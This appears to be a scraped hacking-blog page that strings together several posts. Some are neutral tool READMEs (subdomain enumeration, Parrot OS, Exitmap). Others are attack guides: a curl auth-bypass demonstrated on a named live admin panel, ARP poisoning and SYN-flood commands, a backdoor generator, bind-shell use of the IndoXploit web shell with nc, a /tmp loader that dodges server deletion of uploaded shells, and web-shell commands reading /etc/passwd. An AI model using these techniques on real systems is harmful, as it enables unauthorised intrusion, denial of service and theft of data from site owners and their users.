Termux ID: hacking -->

    Social Items

Home / hacking

Listing subdomains about the main domain using the technique called Hacking with search engines.

Usage
usage: n4xd0rk.py [-h] [-d DOMAIN] [-i IP] -o OPTION -n SEARCH [-e EXPORT]
                  [-l LANGUAGE]

This script searchs the subdomains about a domain using the results indexed of Bing search.

optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        The domain which wants to search.
  -i IP, --ip IP        The IP which to kown the domains to contain.
  -o OPTION, --option OPTION
                        Select an option:
                         1. Searching the subdomains about a domain using the results indexed.
                         2. Searching the domains belong to an IP.
  -n SEARCH, --search SEARCH
                        Indicate the number of the search which you want to do.
  -e EXPORT, --export EXPORT
                        Export the results to a json file (Y/N)
                         Format available:
                         1.json
                         2.xlsx
  -l LANGUAGE, --language LANGUAGE
                        Indicate the language of the search
                         (es)-Spanish(default)
                         (en)-English


N4xD0rk - Listing Subdomains About A Main Domain

Halo selamat malam, kali ini saya akan memberikan sedikit tutorial bagaimana menemukan sebuah celah/vulnerability NO REDIRECT pada suatu situs. Celah ini ditemukan pada suatu halaman/file yang seharusnya dapat diakses hanya pada user yang memiliki akses tertentu (user yang sudah login).

Contohnya pada suatu kasus untuk dapat masuk ke halaman dashboard admin yang terdapat pada file /admin/home.php, kita diharuskan login terlebih dahulu. Maka dari itu, biasanya kita akan di redirect/arahkan ke halaman login dahulu, misalkan di file /admin/login.php


Sudah paham maksudnya?
Jika masih belum paham, mari simak penjelasan berikut.


Saya menemukan suatu sample situs yang memiliki celah ini, coba kalian kunjungi situs berikut:
http://shmsupport.telkomspeedy.com/admin/ maka kalian akan di arahkan/redirect ke halaman situs tersebut yang beralamat pada http://shmsupport.telkomspeedy.com/admin/login.php?MSG=NOSESSION

Dapat Simpulkan, bahwa pada folder /admin/ terdapat sebuah file index.php yang mem-validasi bahwa hanya user yang sudah LOGIN saja yang dapat mengakses ini. Simplenya, $_SESSION user sudah ter-set.

 Sayangnya, ada cara bagaimana mengakses /admin/ tanpa harus login terlebih dahulu. Bypassing dengan Query SQL??? 

***Bukan jawaban yang tepat pada pembahasan kali ini***

Lalu bagaimana?

*Cukup gunakan command CURL pada console/terminal/CMD, lalu jalankan command berikut:

$ curl -v http://shmsupport.telkomspeedy.com/admin/

Akan muncul sebuah hasil, dimana di perlihatkan bahwa kita dapat melihat isi dari halaman dashboard admin tersebut.



Melihat tulisan LOGOUT bukan? Padahal kita tidak login sama sekali ke website tersebut. Yap, ini merupakan sebuah bug. Melalui console seperti memang akan terbatas untuk melakukan hal-hal lainnya, tapi anda bisa menggunakan sebuah addons pada Browser untuk melakukan ini yaitu NO REDIRECT (https://addons.mozilla.org/en-US/firefox/addon/noredirect/).

*******************************
Kenapa ini bisa terjadi?
Jika kita pernah coding hal seperti ini, kita akan membuat sebuah validasi $_SESSION, untuk memastikan apakah user yang mengakses halaman tersebut sudah login atau belum. Biasanya akan di coding seperti ini:

if(!isset($_SESSION[user])) {
             // lakukan redirect disini jika user belum login
}

Tapi codingan diatas masih memiliki bug, memang jika kita mengaksesnya melalui browser kita akan di arahkan ke halaman yang akan di set di codingan tersebut, namun jika kita melihat melalui CURL tadi, halamannya akan bisa kita lihat.

*******************************
Lalu bagaimana memperbaiki bug ini? dan apakah ini fatal?

Untuk memperbaiki ini simple saja, tambahkan die() ataupun exit() setelah bagian Lakukan Redirect.

if(!isset($_SESSION[user])) {
              // lakukan redirect disini jika user belum login
              exit();
}

Codingan diatas akan langsung menutup tadi jika kita mengakses melalui CURL, dan potongan code dashboard admin tadi tidak akan bisa dilihat lagi.

Jika terdapat informasi yang sensitif seperti dokument pribadi/dokument user/customer/client atau hal lainnya yang terdapat pada halaman tersebut, akan sangat mudah sekali didapatkan karena mereka masuk/melihat tanpa harus melalui sebuah authentikasi yang valid. Hal ini juga bisa menjadi awal terjadinya Exploitasi dengan CSRF, dan lainnya.



Oke sekian dulu tutorial kali ini, semoga bermanfaat.

Deteksi Celah NO REDIRECT Pada Suatu Situs Menggunakan CURL


DumpsterFire Toolset - "Security Incidents In A Box!"

The DumpsterFire Toolset is a modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. Easily create custom event chains for Blue Team drills and sensor / alert mapping. Red Teams can create decoy incidents, distractions, and lures to support and scale their operations. Turn paper tabletop exercises into controlled "live fire" range events. Build event sequences ("narratives") to simulate realistic scenarios and generate corresponding network and filesystem artifacts.

The toolset is designed to be dynamically extensible, allowing you to create your own Fires (event modules) to add to the included collection of toolset Fires. Just write your own Fire module and drop it into the FireModules directory. The DumpsterFire toolset will auto-detect your custom Fires at startup and make them available for use.

Author
Joe Gervais (TryCatchHCF)

Why
Red Teams and Blue Teams are typically overextended. What's missing is a way to scale each team's capabilites, providing more effective Red Team activity, and more realistic (and helpful) Blue Team / Purple Team exercises. Automation to the rescue! The DumpsterFire Toolset is a cross-platform menu-driven solution that allows you to easily create custom security incidents by combining modular, chained events into a consistent narrative. Those collection of events (DumpsterFires) can then be executed as time-delayed, automated processes. (They can also be triggered immediately, of course.)
The result? While you're in a meeting or out enjoying life, your DumpsterFire is waiting for its date-time trigger to activate. On a Red Team engagement, while you're busy exploiting that exposed service on a forgotten B2B server, your cloned & time-sychronized DumpsterFires are busy lighting up the target organization's SIEM on a far-away subnet, distracting their response team. Blue Teamers can turn table-top paper exercises into "live fire" range events, with controlled, pre-approved DumpsterFire event chains to trigger sensors and alerts, and train your analysts using their actual operational environment. Purple Team operations can now execute methodical, repeatable event chains to consistently map out their sensor and alerting posture. You can generate novel scenarios to test and train your teams, getting ahead of the threat space to be prepared for security contingencies.
Ever wondered how your Blue Team would respond to Mirai bot activity on your internal network? Now you can find out! (Don't worry, the Mirai bot Fire module doesn't pivot, but it does use the same usernames & passwords to brute-force telnet sessions across the target network.)
Don’t have a Red Team but wish you had an easy way to run controlled, repeatable, customized drills against all of your SOC shift teams? Done!
Wish you could support a Red Team engagement against a remote team that’s 7 timezones away, without waking up at 3:00am? Hit that snooze button!
Ever wanted to simultaneously rickroll all of your opponents’ systems during your annual cyberwarfare exercise? "Never gonna let you down!"
See sample DumpsterFires below. And of course the Shenanigans section.

Tutorial
See my CactusCon 2017 slides (included in project). The slides are written to stand on their own, providing background, approaches, specific use cases, and more. They'll put everything in context, and also won't put you to sleep. Unless they do put you to sleep, in which case you probably needed some rest anyway, so really we all come out ahead here.

Accountability
DumpsterFire creates a date-time stamped event log so that Red- and Blue teams can coordinate and track events, correlating them to what was detected (or not detected) by your sensors, which alerts did or did not trigger, etc. It also allows teams to confirm which events were part of your operation / exercise, keeping everyone out of trouble. All date-time tracking is performed in UTC, so your global operations can be easily correlated without worrying about conversions between timezones and international date lines.
The auto-generated date-time stamped event logs also provide an effortless value add to your engagements. Generate a collection of DumpsterFires for your client engagements, tailored to their attack surfaces. At the end of your operations you can hand over the logs as a bonus Purple Team deliverable to your client for post-engagement analysis.

Overview
The DumpsterFire toolset workflow is designed to be user-friendly and robust. Everything can be done from within the menu-driven dumpsterFireFactory.py script. Launch the script and the tool will guide you as you go. You can start by browsing the existing Fire modules and saved DumpsterFires. When you're ready to create your own DumpsterFires, the tool will lead through the workflow to get the job done. Finally it will be time to ignite your DumpsterFire. After selecting the DumpsterFire of your choice, you'll review the DumpsterFire's Fire modules and settings. If everything looks good, light it up!
When you're building a DumpsterFire, after you've chosen all of the Fire modules you wish to include, the tool will loop through the list of Fires. If a Fire has options for custom settings, the tool will call that Fire's Configure() method to present you with prompts for its settings (e.g. a target network's IP address).
Once all of the Fires have been configured, you'll then be given the option to assign individual time delays to your Fires. This allows the DumpsterFire to better mimic real operations when executing its chain of events. For example, the first Fire may visit various hacking Websites, the next Fire then downloads a few common hacking tools before launching the third Fire which starts scanning the local network. If this all happened within seconds of each other, no SOC analyst is going to believe it was a human. By adding several minutes or even hours between those events, you create a more realistic chain of events.
After all of the Fires have been configured and optional individual Fire delays assigned, you'll be asked to name your DumpsterFire. Do not use spaces or odd special characterse, just stick to letters, numbers, underscores, and hyphens.
Voila! You have now created your first DumpsterFire. Time to light one up!
When you're ready to ignite a DumpsterFire, the tool will first show you the DumpsterFire's settings. If everything looks good, you'll be asked if you want to assign a date-time delay before igniting. All date-time processing is done in UTC to ensure consistent execution regardless of your DumpsterFire's location of execution. Otherwise you can decline the date-time delay and execution will begin immediately after you give final confirmation.
As the DumpsterFire executes, you'll be given regular date-time stamped feedback on each Fire's status and critical events. This not only helps you track progress, but also provides a chronological record of your DumpsterFire's activities - critical in coordinating and deconflicting your events from the general background noise that floods every SOC. You can also hand over the chronological record to your external clients after your operations are complete, as a value-added record of your activites that they can use to review their sensor and alert settings. All with no extra effort on your part.

Shenanigans
April 1st happens! So do cyber wargames or your best friend's birthday. Some circumstances call for a little extra something. Finally infiltrate your opponent's perimeter in that net wars competition? Celebrate with Shenanigans while locking in your victory! Best friend leave their screen unlocked on game night? Sharing is caring! DumpsterFire's Shenanigans let you add some flavor to your operation.
Want to open the system's default browser and stream all of that Rick Astley awesomeness? After setting their system volume to maximum? How about opening any URL you choose? Or setting the system's shell aliases to pretend the filesystem is corrupted?


Files & Directories
dumpsterFireFactory.py - Menu-driven tool for creating, configuring, scheduling, and executing DumpsterFires
FireModules/ - Directory that contains subdirectories of Fires, each subdirectory is a specific Category of Fires to keep your Fire modules organized. Fires are added to a DumpsterFire to create a chain of events and actions.
DumpsterFires/ - Directory containing your collection of DumpsterFires
igniteDumpsterFire.py - Headless script, invoked at command line with the filename of the DumpsterFire you wish to execute. Useful for igniting distributed DumpsterFires.
testFireModule.py - Utility script for unit testing the Class methods of your custom Fire modules, without the hassle of running through the entire DumpsterFire Factory process to debug. Also useful for running a single Fire to check your settings. testFireModule.py will prompt you for configuration settings were applicable.
__init__.py files - Required to make Python treat directories as containing Python packages, allows DumpsterFire toolset to find and load Fire modules.

Requirements
Python 2.7.x

Run DumpsterFire Factory
$ ./dumpsterFireFactory.py

Creating a DumpsterFire:
The menu-driven DumpsterFire Factory script guides you through each step, with context-appropriate help along the way.



Sample DumpsterFires
In our first example, we have a DumpsterFire that could be either a SOC drill or a Red Team distraction. The DumpsterFire first does a Google search for hacking tools. The next Fire opens Web sessions to various hacking Websites. Next, a following Fire downloads some common hacking tools. Then a port scan targets the subnetwork, followed by bruteforce login attempts against a single host via Telnet. The final Fire runs a series of Linux commands. Note that between each Fire, the creator of this DumpsterFire has inserted some time delays. This makes the flow of events appear more realistic.



In the next example, Purple Teamers have created a DumpsterFire to help analyze and validate their sensor and alerting configurations. This DumpsterFire runs a choreographed series of port scans, each targeting different collections of ports & services, with varying probe rates as well. They've inserted a 5 minute delay between each scanning Fire to simplify isolating the traffic associated with each scanning Fire. When they run this DumpsterFire, they'll also see date-timestamps at the beginning of each Fire to help them deconflict the Fire's network activity vs. other network events.


Customizing Your Dumpster Fires
DumpsterFire's modular design gives you flexibility to create any number of event-chain narratives. Fire modules that have configurable settings allow you to set target networks or system, etc. There are a few Fire modules, however, that give you immediate flexibility to greatly expand your DumpsterFire event sequences.
Without creating any new FireModule classes, you can use these existing "custom" Fire modules to leverage and extend your DumpsterFires:
  • FireModules/Websurfing/custom_url.py
  • FireModules/FileDownloads/download_custom_url.py
  • FireModules/OSCommand/os_linux_unix_command.py
  • FireModules/OSCommand/os_win_cmd_command.py
  • FireModules/OSCommand/os_win_powershell_script.py
  • FireModules/OSCommand/os_osx_applescript_command.py
You can add any number of these to your DumpsterFire, each with its own custom actions. For example, you could chain together a dozen 'custom_url.py' Fire modules to build a complete, tailored browsing narrative. You could then have various 'OSCommand/' Fire instances that execute system commands to further reinforce your desired narrative of events. The 'OSCommand/' Fires in particular give you incredible flexbility. Each individual Fire in your DumpsterFire event chain takes any shell commands that are appropriate for the host's OS:
Example: Linux/Unix (& OSX terminal)
find /home -name '*.bash_history' -exec cat {} ; ; echo "Never gonna give you up" > rickroll.txt ; wall rickroll.txt

Write Your Own Custom Fire Modules
DumpsterFire is ready to use out of the box, but it's real value is in how easily you can extend DumpsterFire's scenario toolchest by creating your own custom Fire modules. By creating and tailoring Fire modules to match your specific needs, you can quickly expand the types of DumpsterFire scenarios you can build and execute. Simply write your new Fire module and drop it into an existing directory under FireModules/ and the DumpsterFire toolset will automatically load it at runtime & make it available.
Want to keep your custom Fire modules completely separate in their own Category? Easy! Just create a new directory under FireModules/ and the DumpsterFire toolset will auto-detect and make it available as a new Category of Fires.
NOTE: Be sure your new directory has an empty file named __init__.py otherwise the Python package manager won't be able to find it, and DumpsterFire won't see it.



Your Fire module inherits from a class called FireModule. As a starting point, you can copy an existing Fire module. Be sure to change the filename and all classname references in the file to match your new Fire. (Update the Category path references in the class's constructor methods too, if needed.)
Required Class Methods:
Configure() - Prompts user for input, populates FireModule’s parameters
Description() - Return a string containing a description of the FireModule
GetParameters() - Returns a single string of Fire's parameters
SetParameters( string ) - Takes a single string & populates Fire's members
ActivateLogging( boolean ) - Sets flag for Fire to generate a log of its activities (great for review) NOTE: For initial release, logging to stdout is always on.
Ignite() - Executes Fire's actions

Utility Scripts
Testing Python classes can be annoying, especially when you want to unit test each of the class's methods, forcing you to slog through all the application's use cases to make sure each class method is executed in proper order. Bleh. So I've written and included a script that will properly invoke each method of your new FireModule-derived classes, enabling you to quickly churn-and-burn your way through debugging. You're welcome. :-) Also a great way to run a Fire by itself to test your settings, see what it does, etc.
At the command line, give the testFireModule.py script the relative filepath to your custom Fire module. The test script will call each of the required FireModule methods for you, in proper sequence (getting configuration prior to saving, etc.). The test script doesn't use exception handling, because Python only gives you useful errors (like pointing out that missing double-quote) when it crashes. Crash and burn your way to a successful custom Fire!


DumpsterFire - Security Incidents In A Box!


Security GNU/Linux distribution designed with cloud pentesting and IoT security in mind.

It includes a full portable laboratory for security and digital forensics experts, but it also includes all you need to develop your own softwares or protect your privacy with anonymity and crypto tools.

Details

Security

Parrot Security includes a full arsenal of security oriented tools to perform penetration tests, security audits and more. With a Parrot usb drive in your pocket you will always be sure to have all you need with you.

Privacy

Parrot includes by default TOR, I2P, anonsurf, gpg, tccf, zulucrypt, veracrypt, truecrypt, luks and many other tecnologies designed to defend your privacy and your identity.

Development

If you need a comfortable environment with updated frameworks and useful libraries already installed, Parrot will amaze you as it includes a full development-oriented environment with some powerful editors and IDEs pre-installed and many other tools installable from our repository.

Features

System Specs
  • Debian GNU/Linux 9 (stretch)
  • Custom hardened Linux 4.8 kernel
  • Rolling release updates
  • Powerful worldwide mirror servers
  • High hardware compatibility
  • Community-driven development
  • free(libre) and open source project

Cryptography

Parrot includes many cryptographic softwares which are extremely useful when it comes to protect your confidential data and defend your privacy.

Parrot includes several cryptographic front-ends to work both with symmetric and asymmetric encryption, infact it natively supports volumes encryption with LUKS, TrueCrypt, VeraCrypt and the hidden TrueCrypt/VeraCrypt volumes with nested algorythms support.

The whole system can be installed inside an encrypted partition to protect your computer in case of theft.

Another swiss army knife of your privacy is GPG, the GNU Privacy Guard, an extremely powerful PGP software that lets you create a private/public pair of keys to apply digital signatures to your messages and to allow other people to send you encrypted messages that only your private key can decrypt, in can also handle multiple identities and subkeys, and its power resides in its ring of trust as PGP users can sign each other's keys to make other people know if a digital identity is valid or not.

Even our software repository is digitally signed by GPG, and the system automatically verifies if an update was altered or compromised and it refuses to upgrade or to install new software if our digital signature is not found or not valid.

Privacy

Your privacy is the most valuable thing you have in your digital life and the whole Parrot Team is exaggeratedly paranoid when it comes to users privacy, infact our system doesn't contain tracking systems, and it is hardened in deep to protect users from prying eyes.

Parrot has developed and implemented several tricks and softwares to achieve this goal, and AnonSurf is one of the most important examples, it is a software designed to start TOR and hijack all the internet traffic made by the system through the TOR network, we have also modified the system to make it use DNS servers different from those offered by your internet provider.

Parrot also includes torbrowser, torchat and other anonymous services, like I2P, a powerful alternative to TOR.

Programming

The main goal of an environment designed by hackers for hackers is the possibility to change it, adapt it, transform it and use it as a development platform to create new things, this is why Parrot comes out of the box with several tools for developers such as compilers, disassemblers, IDEs, comfortable editors and powerful frameworks.

Parrot includes QTCreator as its main C, C++ and Qt framework. Another very useful tool is Geany, a lightweight and simple IDE which supports a huge amount of programming languages, while we also include Atom, the opensource editor of the future developed by GitHub, and many compilers and interpreters with their most important libraries are pre-installed and ready to use.


And of course many other editors, development softwares and libraries are available through our software repository where we keep all the development tools always updated to their most cutting edge but reliable version.

Changelog

Parrot 3.9 is now ready, and it includes some important new features that were introduced to make the system more secure and reliable.
The most important feature is the new sandbox system, introduced to protect many applications from 0day attacks out of the box. The sandbox is based on firejail, a suid program which is very easy to configure and customize to protect many critical applications in a quick and effective way (if an application does not work as expected, customize the corresponding firejail profile to be more permissive).

Parrot Security 3.9 - Security GNU/Linux Distribution Designed with Cloud Pentesting and IoT Security in Mind


Exitmap is a fast and modular Python-based scanner for Tor exit relays. Exitmap modules implement tasks that are run over (a subset of) all exit relays. If you have a background in functional programming, think of exitmap as a map() interface for Tor exit relays: Modules can perform any TCP-based networking task like fetching a web page, uploading a file, connecting to an SSH server, or joining an IRC channel.

In practice, exitmap is useful to monitor the reliability and trustworthiness of exit relays. The Tor Project uses exitmap to check for false negatives on the Tor Project's check service and to find malicious exit relays. It is easy to develop new modules for exitmap; just have a look at the file HACKING in the doc/ directory or check out one of the existing modules.
Exitmap uses Stem to create circuits to all given exit relays. Each time tor notifies exitmap of an established circuit, a module is invoked for the newly established circuit. Modules can be pure Python scripts or executables. For executables, torsocks is necessary.

Finally, note that exitmap is a network measurement tool and of little use to ordinary Tor users. The Tor Project is already running the tool regularly. More exitmap scans just cause unnecessary network load. The only reason exitmap is publicly available is because its source code and design might be of interest to some.

Installation
Exitmap uses the library Stem to communicate with Tor. There are plenty of ways to install Stem. The easiest might be to use pip in combination with the provided requirements.txt file:
$ pip install -r requirements.txt

Running exitmap
The only argument exitmap requires is the name of a module. For example, you can run exitmap with the checktest module by running:
$ ./bin/exitmap checktest
The command line output will then show you how Tor bootstraps, the output of the checktest module, and a scan summary. If you don't need three hops and prefer to use two hops with a static first hop, run:
$ ./bin/exitmap --first-hop 1234567890ABCDEF1234567890ABCDEF12345678 checktest
To run the same test over German exit relays only, execute:
$ ./bin/exitmap --country DE --first-hop 1234567890ABCDEF1234567890ABCDEF12345678 checktest
If you want to pause for five seconds in between circuit creations to reduce the load on the Tor network and the scanning destination, run:
$ ./bin/exitmap --build-delay 5 checktest
Note that 1234567890ABCDEF1234567890ABCDEF12345678 is a pseudo fingerprint that you should replace with an exit relay that you control.
To learn more about all of exitmap's options, run:
$ ./bin/exitmap --help
Exitmap comes with batteries included, providing the following modules:
  • testfds: Tests if an exit relay is able to fetch the content of a simple web page. If an exit relay is unable to do that, it might not have enough file descriptors available.
  • checktest: Attempts to find false negatives in the Tor Project's check service.
  • dnspoison: Attempts to resolve several domains and compares the received DNS A records to the expected records.
  • dnssec: Detects exit relays whose resolver does not validate DNSSEC.
  • patchingCheck: Checks for file tampering.
  • cloudflared: Checks if a web site returns a CloudFlare CAPTCHA.
  • rtt: Measure round-trip times through an exit to various destinations.

Configuration
By default, exitmap tries to read the file .exitmaprc in your home directory. The file accepts all command line options, but you have to replace minuses with underscores. Here is an example:
[Defaults]
first_hop = 1234567890ABCDEF1234567890ABCDEF12345678
verbosity = debug
build_delay = 1
analysis_dir = /path/to/exitmap_scans

Alternatives
Don't like exitmap? Then have a look at tortunnel, SoaT, torscanner, DetecTor, or SelekTOR.

Tests
Before submitting pull requests, please make sure that all unit tests pass by running:
$ pip install -r requirements-dev.txt
$ py.test --cov-report term-missing --cov-config .coveragerc --cov=src test


Exitmap - A Fast and Modular Scanner for TOR Exit Relays


A script written lazily for generating reverse shell backdoors on the go whenever you need without any hassle for your daily penetration needs . These backdoors are not James Bond high tech stuff but rather simple ones to prevent over exploitation and limited capabilities Once you generate the payload somehow execute on the concerned system either Win or nix based systems . Once executed you will have the capability of executing remote commands on the compromised host.

Usage
python zerodoor.py
Tiny Overview
Nothing special it includes three basic backdoor generation capability for :-
  1. Nix/OSX Based
  2. Windows Shit
Poweshell payload generation have been added due to its sofistication and presistence :)

Author
Souhardya Sardar is a lazy guy who keeps learning and gets trolled by experts Github :- github.com/Souhardya


ZeroDoor - A Script Written Lazily For Generating Cross-Platform Backdoors


Habu is to teach (and learn) some concepts about Python and Network Hacking.
These are basic functions that help with some tasks for Ethical Hacking and Penetration Testing.
Most of them are related with networking, and the implementations are intended to be understandable for who wants to read the source code and learn from that.

Some techniques implemented in the current version are:
  • ARP Poisoning
  • ARP Sniffing
  • DHCP Discover
  • DHCP Starvation
  • LAND Attack
  • SNMP Cracking
  • SYN Flooding
  • TCP Flags Analysis
  • TCP ISN Analysis
  • TCP Port Scan


Installation
To install Habu, simply:
$ pip3 install habu


Dependencies
Habu requires:
  • Click
  • Python (3.x),
  • Scapy-Python3
  • Matplotlib (Optional, only needed if you want to make some graphs)


Get Help
All the commands implement the option '--help', that shows the help, arguments, options, and default values.


Verbose Mode
Almost all commands implement the verbose mode with the '-v' option. This can give you some extra info about what habu is doing.


habu.arpoison: ARP Poisoning
This command sends ARP 'is-at' packets to each victim, poisoning their ARP tables for send the traffic to your system.
$ sudo habu.arpoison 192.168.1.5 192.168.1.6
Ether / ARP is at 00:c2:c6:30:2c:58 says 192.168.1.6
Ether / ARP is at 00:c2:c6:30:2c:58 says 192.168.1.5
Ether / ARP is at 00:c2:c6:30:2c:58 says 192.168.1.6
Ether / ARP is at 00:c2:c6:30:2c:58 says 192.168.1.5
...
Note: If you want a full working Man In The Middle attack, you need to enable the packet forwarding on your operating system to act like a router. You can do that using:
echo 1 > /proc/sys/net/ipv4/ip_forward


habu.arpsniff: Discover devices on your LAN capturing ARP packets
This command listen for ARP packets and shows information each device.
Columns: Seconds from last packet | IP | MAC | Vendor
1   192.168.0.1         a4:08:f5:19:17:a4   Sagemcom Broadband SAS
7   192.168.0.2         64:bc:0c:33:e5:57   LG Electronics (Mobile Communications)
2   192.168.0.5         00:c2:c6:30:2c:58   Intel Corporate
6   192.168.0.7         54:f2:01:db:35:58   Samsung Electronics Co.,Ltd


habu.contest: Check your connection capabilities
This command tries to connect to various services and check if you can reach them using your internet connection.
$ habu.contest
IP:    True
DNS:   True
FTP:   True
SSH:   True
HTTP:  True
HTTPS: True


habu.dhcp_discover: Discover DHCP servers
This command send a DHCP request and shows what devices has replied. Using the '-v' parameter (verbose) you can see all the options (like DNS servers) included on the responses.
$ sudo habu.dhcp_discover
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP


habu.dhcp_starvation: Fill the DHCP leases
This command send multiple DHCP requests from forged MAC addresses to fill the DHCP server leases. When all the available network addresses are assigned, the DHCP server don't send responses. So, some attacks, like DHCP spoofing can be made.
$ sudo habu.dhcp_starvation
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP


habu.eicar: Prints the EICAR test string
This command prints the EICAR test string that can be used to test antimalware engines. More info: http://www.eicar.org/86-0-Intended-use.html
$ habu.eicar
X5O!P%@AP[4\XZP54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Note: The below string is incorrect because is not a good idea write the complete in this text file. Some antivirus program can be detect it like a virus. :)


habu.hasher: Computes various hashes with the input data
This command computes various hashes for the input data, that can be a file or a stream.
If the filename is '-', the data is taken from the standard input (stdin) so, three different variants exists to call this command:
$ habu.hasher README.rst
md5  : 375375d9cfb2aacab7c8d1a9afd3d9b7
sha1 : 21c67b9ef44bc24d47eef6adab648ba34662927e

$ cat README.rst | habu.hasher -
md5  : 375375d9cfb2aacab7c8d1a9afd3d9b7
sha1 : 21c67b9ef44bc24d47eef6adab648ba34662927e

$ habu.hasher - < README.rst
md5  : 375375d9cfb2aacab7c8d1a9afd3d9b7
sha1 : 21c67b9ef44bc24d47eef6adab648ba34662927e
Note: The output above shows only MD5 and SHA1 to make it short, but the real output includes more algorithms.
You can also specify which algorithm to use. In such case, the output is only the value of the calculated hash:
$ habu.hasher -a md5 README.rst
375375d9cfb2aacab7c8d1a9afd3d9b7


habu.ip: Prints your current public IP
This command prints your current public IP based on the response from https://api.ipify.org.
$ habu.ip
182.26.32.246


habu.isn: Prints the TCP sequence numbers for an IP
This command creates TCP connections and prints the TCP initial sequence numbers for each connections.
$ sudo habu.isn www.portantier.com
1962287220
1800895007
589617930
3393793979
469428558
You can get a graphical representation (needs the matplotlib package) using the '-g' option:
$ sudo habu.isn -g -c 10 www.portantier.com
Note: The above command uses '-c' option to define that 10 connections must be created.


habu.land: Implements the LAND attack
This command implements the LAND attack, that sends packets forging the source IP address to be the same that the destination IP. Also uses the same source and destination port.
The attack is very old, and can be used to make a Denial of Service on old systems, like Windows NT 4.0. More information here: https://en.wikipedia.org/wiki/LAND
sudo habu.land 172.16.0.10
............
Note: Each dot (.) is a sent packet. You can specify how many packets send with the '-c' option. The default is never stop. Also, you can specify the destination port, with the '-p' option.


habu.ping: ICMP echo requests
This command implements the classic 'ping' with ICMP echo requests.
$ sudo habu.ping 8.8.8.8
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding


habu.snmp_crack: SNMP Community Cracker
This command launches snmp-get queries against an IP, and tells you when finds a valid community string (is a simple SNMP cracker).
The dictionary used is the distributed with the onesixtyone tool (https://github.com/trailofbits/onesixtyone)
$ sudo habu.snmp_crack 179.125.234.210
Community found: private
Community found: public
Note: You can also receive messages like <UNIVERSAL> <class 'scapy.asn1.asn1.ASN1_Class_metaclass'>, I don't know how to supress them for now.


habu.synflood: SYN Flood Attack Implementation
This command launches a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. More info: https://en.wikipedia.org/wiki/SYN_flood
$ sudo habu.synflood 172.16.0.10
.................
Each dot is a packet sent.
You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address.
You can choose the number of connections to create with the option '-c'. The default is never stop creating connections.
Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets. With habu, you can do this with the following command (only works with Linux+IPTables):
$ sudo habu.firewall --no-rst
You can check the results with "iptables -L -n", and you will see something like this:
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp flags:0x04/0x04


habu.tcpflags: TCP Flag Fuzzer
This command send TCP packets with different flags and tell you what responses receives.
It can be used to analyze how the different TCP/IP stack implementations and configurations responds to packet with various flag combinations.
$ sudo habu.tcpflags www.portantier.com
S  -> SA
FS -> SA
FA -> R
SA -> R
By default, the command sends all possible flag combinations. You can specify with flags must ever be present (reducing the quantity of possible combinations), with the option '-f'.
Also, you can specify which flags you want to be present on the response packets to show, with the option '-r'.
With the next command, you see all the possible combinations that have the FIN (F) flag set and generates a response that contains the RST (R) flag.
$ sudo habu.tcpflags -f F -r R www.portantier.com
FPA  -> R
FSPA -> R
FAU  -> R


habu - Network Hacking Toolkit

Oke, kali ini gua akan share gimana caranya Reverse Shell dengan bind port. Kebanyakan orang kesusahan waktu Reverse Shell dengan BackConnect. Cara ini cukup simple kok. Oke Langsung Simak aja.


Disini, saya menggunakan shell indoxploit V.3 untuk bind port nya.
Jalankan command bind port pada shell indoxploit V.3.
$ rvr bp [PORT] perl
Setelah itu, kalian akan mendapatkan response seperti ini.

Langsung saja, berikutnya buka terminal/CMD kalian.
Jalankan command nc.
$ nc [IP] [PORT]

Oke itu saja, mudah bukan?
Sekian dulu kawann..


Tutorial Reverse Shell Dengan Bind Port

Oke kali ini gua pengen share sedikit trik, bagaimana membypass sebuah server yang 'bikin jengkel' waktu upload shell-shell besar seperti (indoxploit shell, wso, b374k, c99, dll). Yap Not Acceptable.

Mudah saja untuk mengakalinya.
Write sebuah file backdoor ke dalam directory /tmp, lalu panggil shell itu melalui current directorynya dengan sebuah PHP Function 'include()'
Penjelasan lebih lanjut.

Disini, saya sudah membuat backdoor khusus agar lebih mudah memanggil backdoor lain yang kita inginkan.

Source: https://pastebin.com/z8WiCv3S

Ubah bagian $URL, isilah dengan URL Shell Backdoor yang kalian inginkan.

Langsung saja buka file backdoornya.
 Jika backdoor TMP Shell terus-menerus redirect & menghasilkan blank page. Itu tandanya file backdoor yang dipanggil tidak berhasil di Write pada directory /tmp.
Oke sekian dulu.
Semoga Bermanfaat.

Bypass 406 & Auto Delete Shell Oleh Server Dengan TMP Shell by IndoXploit

Haloo, selamat malammm.
Kali ini kita akan share lagi shell backdoor indoxploit. Kali ini kami tambah beberapa fitur-fitur baru yang sebelumnya tidak ada di indoxploit shell, tentu serta beberapa perubahan bentuk shell dan lainnya. Oke Langsung saja disimak.

IndoXploit Shell V.3 menggunakan 'Command Based' atau bisa dibilang untuk menjalankan beberapa tools/fiturnya, kalian harus memasukan command tertentu.

Contoh command untuk memanggil tools 'Adminer'


Login Shell, default password: IndoXploit

 [ List Tools - IndoXploit Shell Backdoor V.3 ]

=============================================
**** COMMAND BASED *****
 - Read File
 usage: rf [filename]
 example: rf /etc/passwd

 - Spawn File/Tools 
 usage: spawn [name]

 [name]
- Adminer (adminer)
 - WebConsole (webconsole)
 - CGI Telnet 1 (cgitelnet1)
 - CGI Telnet 2 (cgitelnet2)
 - PHPINFO (phpinfo)

 example:
 spawn adminer
 spawn webconsole
 spawn cgitelnet1

- Jumping
usage: jumping
